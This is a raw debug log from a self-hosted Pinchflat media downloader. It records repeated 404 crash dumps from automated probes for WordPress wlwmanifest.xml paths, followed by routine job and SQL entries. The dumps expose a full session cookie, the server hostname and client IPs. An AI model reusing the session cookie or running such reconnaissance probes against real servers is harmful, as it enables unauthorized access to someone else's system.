{"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//site/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1yAbIM3Knk_kAADeD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//site/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//site/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:20.713 [info] GET //cms/wp-includes/wlwmanifest.xml 11:19:20.713 [debug] QUERY OK source="settings" db=0.1ms idle=497.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.713 [debug] QUERY OK source="settings" db=0.0ms idle=336.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.713 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.714 [error] #PID<0.7991.0> running PinchflatWeb.Endpoint (connection #PID<0.7990.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //cms/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33254}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7991.0>, params: %{}, path_info: ["cms", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//cms/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1yBDEOb9hkZMAAwkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33254}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7990.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33254}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2t (truncated) 11:19:20.881 [info] GET //sito/wp-includes/wlwmanifest.xml 11:19:20.881 [debug] QUERY OK source="settings" db=0.0ms idle=504.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.881 [debug] QUERY OK source="settings" db=0.1ms idle=335.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.882 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.882 [error] #PID<0.7993.0> running PinchflatWeb.Endpoint (connection #PID<0.7992.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //sito/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sito/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//sito/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7993.0>, params: %{}, path_info: ["sito", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//sito/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1yBrG-43gsWIAAwlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//sito/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sito/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7992.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//sito/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33262}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:26.511 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:56.512 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.415 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:26.513 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:34.301 [info] {"args":{"id":2},"id":611,"meta":{},"system_time":1784892034300988198,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:20:34.301 [debug] QUERY OK source="sources" db=0.5ms idle=728.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 11:20:34.302 [debug] QUERY OK source="settings" db=0.5ms idle=728.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:34.303 [debug] QUERY OK source="media_profiles" db=0.5ms idle=729.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:34.303 [debug] QUERY OK source="settings" db=0.4ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:34.303 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 11:20:34.560 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:20:34.560 [debug] QUERY OK source="media_items" db=0.2ms idle=259.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 11:20:34.561 [debug] QUERY OK source="media_items" db=0.2ms idle=259.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 11:20:34.561 [debug] QUERY OK source="tasks" db=0.0ms idle=258.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [614, 2, ~U[2026-07-24 11:20:34Z], ~U[2026-07-24 11:20:34Z]] 11:20:34.561 [info] {"args":{"id":2},"id":611,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":260787,"event":"job:stop","queue_time":747822,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:20:46.312 [info] {"args":{"id":1},"id":612,"meta":{},"system_time":1784892046312150101,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:20:46.312 [debug] QUERY OK source="sources" db=0.0ms idle=739.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:20:46.312 [debug] QUERY OK source="settings" db=0.0ms idle=739.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 